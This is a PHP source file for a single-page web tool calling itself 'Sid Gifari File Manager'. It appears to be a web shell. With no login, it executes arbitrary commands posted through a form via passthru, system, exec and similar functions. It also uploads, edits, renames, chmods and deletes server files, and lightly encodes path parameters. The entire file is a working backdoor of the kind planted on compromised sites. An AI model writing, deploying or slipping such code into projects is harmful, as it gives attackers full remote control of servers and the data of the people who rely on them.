<?php
// ================= CONFIG =================
$ROOT = __DIR__;
$BASE_URL = strtok($_SERVER["REQUEST_URI"], '?');

// ================= PATH ENCODER =================
function encodePath($path)
{
    $a = array("/", "\\", ".", ":");
    $b = array("A", "D", "I", "B");
    return str_replace($a, $b, $path);
}

function decodePath($path)
{
    $a = array("/", "\\", ".", ":");
    $b = array("A", "D", "I", "B");
    return str_replace($b, $a, $path);
}

// ================= PATH HANDLING =================
$root_path = $ROOT;

if (isset($_GET['p'])) {
    if ($_GET['p'] === '') {
        $p = $root_path;
    } elseif (!is_dir(decodePath($_GET['p']))) {
        echo "<script>alert('Directory is Corrupted and Unreadable.');window.location.replace('?');</script>";
        exit;
    } else {
        $p = decodePath($_GET['p']);
    }
} else {
    $p = $root_path;
}

define("PATH", $p);

// ================= ACTIONS =================
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // Terminal command execution - MUST BE FIRST to avoid conflicts
    if (isset($_POST['terminal']) && !empty($_POST['terminal-text'])) {
        session_start();
        
        // Initialize cwd if not set
        if (!isset($_SESSION['cwd'])) {
            $_SESSION['cwd'] = PATH; // Use PATH instead of getcwd()
        }
        
        // Allowed functions
        $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];
        $canExecute = false;
        foreach ($execFunctions as $func) {
            if (function_exists($func)) {
                $canExecute = true;
                break;
            }
        }
        
        $cwd = $_SESSION['cwd'];
        $cmdInput = trim($_POST['terminal-text']);
        $output = "";

        // Handle cd command
        if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
            $dir = trim($matches[1]);
            
            if ($dir === '' || $dir === '~') {
                $dir = $root_path;
            } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
                $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
            }
            
            $realDir = realpath($dir);
            
            if ($realDir && is_dir($realDir)) {
                $_SESSION['cwd'] = $realDir;
                $cwd = $realDir;
                $output = "Changed directory to " . htmlspecialchars($realDir);
            } else {
                $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
            }
            
            // Store output in session to display after redirect
            $_SESSION['terminal_output'] = $output;
            $_SESSION['terminal_cwd'] = $cwd;
            
            // Redirect back with current path
            header("Location: ?p=" . urlencode(encodePath(PATH)));
            exit;
            
        } elseif ($canExecute) {
            // Change to terminal's working directory
            chdir($cwd);
            
            $cmd = $cmdInput . " 2>&1";
            
            // Execute command
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);
                
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                }
            }
            
            // Store output in session
            $_SESSION['terminal_output'] = $output;
            $_SESSION['terminal_cwd'] = $cwd;
            
            // Redirect back
            header("Location: ?p=" . urlencode(encodePath(PATH)));
            exit;
        } else {
            $_SESSION['terminal_output'] = "Command execution functions are disabled on this server.";
            header("Location: ?p=" . urlencode(encodePath(PATH)));
            exit;
        }
    }
    
    // File manager actions (original code)
    // Upload
    if (!empty($_FILES['files'])) {
        foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
            if ($tmp && is_uploaded_file($tmp)) {
                move_uploaded_file($tmp, PATH . '/' . basename($_FILES['files']['name'][$i]));
            }
        }
    }

    // New Folder
    if (!empty($_POST['newfolder'])) {
        mkdir(PATH . '/' . basename($_POST['newfolder']), 0755);
    }

    // New File
    if (!empty($_POST['newfile'])) {
        file_put_contents(PATH . '/' . basename($_POST['newfile']), '');
    }

    // Delete
    if (!empty($_POST['delete'])) {
        $target = PATH . '/' . $_POST['delete'];
        if (is_file($target)) unlink($target);
        elseif (is_dir($target)) rmdir($target);
    }

    // Rename
    if (!empty($_POST['old']) && !empty($_POST['new'])) {
        rename(PATH . '/' . $_POST['old'], PATH . '/' . $_POST['new']);
    }

    // Chmod
    if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
        chmod(PATH . '/' . $_POST['chmod_file'], intval($_POST['chmod'], 8));
    }

    // Edit save
    if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
        file_put_contents(PATH . '/' . $_POST['edit_file'], $_POST['content']);
    }

    header("Location: ?p=" . urlencode(encodePath(PATH)));
    exit;
}

// ================= FILE LIST =================
$items = scandir(PATH);

// Edit mode
$editMode = isset($_GET['edit']);
$editFile = $_GET['edit'] ?? '';
$editContent = '';

if ($editMode && is_file(PATH . '/' . $editFile)) {
    $editContent = htmlspecialchars(file_get_contents(PATH . '/' . $editFile));
}

// Terminal output
$terminal_output = $_SESSION['terminal_output'] ?? '';
$terminal_cwd = $_SESSION['terminal_cwd'] ?? PATH;

unset($_SESSION['terminal_output'], $_SESSION['terminal_cwd']);
?>

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Sid Gifari File Manager</title>
<style>
body{font-family:Arial;background:#f5f5f5}
.container{width:90%;margin:auto}
table{width:100%;background:#fff;border-collapse:collapse}
th,td{padding:8px;border-bottom:1px solid #ddd}
a{text-decoration:none;color:#007bff}
button{padding:5px}
.path-nav{background:#fff;padding:10px;margin-bottom:10px}
textarea{width:100%;font-family:monospace}
.terminal-output{background:#000;color:#0f0;padding:10px;font-family:monospace;white-space:pre-wrap}
</style>
</head>
<body>

<div class="container">
<center><img src = "https://i.imgur.com/FC1enOU.jpeg"width="200" height="150"></img></center>
<center><h2>Sid Gifari File Manager</h2></center>

<!-- PATH NAV -->
<div class="path-nav">
<a href="?">🏠 Root</a> /
<?php
$path = str_replace('\\','/',PATH);
$parts = explode('/',$path);
$build = '';
foreach ($parts as $part) {
    if ($part === '') continue;
    $build .= '/' . $part;
    echo '<a href="?p=' . urlencode(encodePath($build)) . '">' . htmlspecialchars($part) . '</a> / ';
}
?>
</div>

<?php if ($editMode): ?>
<!-- EDIT MODE -->
<h3>Editing: <?= htmlspecialchars($editFile) ?></h3>
<form method="post">
<input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>">
<textarea name="content" rows="10"><?= $editContent ?></textarea><br><br>
<button>Save</button>
<a href="?p=<?= urlencode(encodePath(PATH)) ?>"><button type="button">Cancel</button></a>
</form>

<?php else: ?>
<!-- NORMAL MODE -->

<!-- TERMINAL SECTION -->
<div style="background:#333;color:#fff;padding:10px;margin-bottom:10px;">
<strong>root@Sid-Gifari:<?= htmlspecialchars($terminal_cwd) ?>$</strong><br>
<?php if ($terminal_output): ?>
<div class="terminal-output"><?= htmlspecialchars($terminal_output) ?></div>
<?php endif; ?>
<form method="post" style="margin-top:20px;">
<input type="text" name="terminal-text" style="width:40%" placeholder="Enter command">
<input type="submit" name="terminal" value="Execute">

<!-- FILE MANAGER ACTIONS -->
<form method="post" style="display:inline">
<input name="newfolder" placeholder="Folder name">
<button>Create Folder</button>
</form>

<form method="post" style="display:inline">
<input name="newfile" placeholder="File name">
<button>Create File</button>
</form>

<form method="post" enctype="multipart/form-data">
<input type="file" name="files[]" multiple>
<button>Upload</button>
</form>

<br><br>

<!-- FILE LIST -->
<table>
<tr><th>Name</th><th>Size</th><th>Perm</th><th>Action</th></tr>

<?php foreach ($items as $f):
if ($f === '.' || $f === '..') continue;
$full = PATH . '/' . $f;
$perm = substr(sprintf('%o', fileperms($full)), -4);
?>
<tr>
<td>
<?php if (is_dir($full)): ?>
📁 <a href="?p=<?= urlencode(encodePath($full)) ?>"><?= $f ?></a>
<?php else: ?>
📄 <a href="<?= htmlspecialchars($f) ?>" target="_blank"><?= $f ?></a>
<?php endif; ?>
</td>
<td><?= is_file($full) ? filesize($full) . ' bytes' : '-' ?></td>
<td>
<form method="post">
<input type="hidden" name="chmod_file" value="<?= $f ?>">
<input name="chmod" value="<?= $perm ?>" size="4">
<button>Chmod</button>
</form>
</td>
<td>
<?php if (is_file($full)): ?>
<a href="?p=<?= urlencode(encodePath(PATH)) ?>&edit=<?= urlencode($f) ?>"><button>Edit</button></a>
<?php endif; ?>

<form method="post" style="display:inline">
<input type="hidden" name="old" value="<?= $f ?>">
<input name="new" placeholder="Rename">
<button>Rename</button>
</form>

<form method="post" style="display:inline">
<input type="hidden" name="delete" value="<?= $f ?>">
<button onclick="return confirm('Delete?')">❌</button>
</form>
</td>
</tr>
<?php endforeach; ?>

</table>
<?php endif; ?>

</div>
</body>
</html>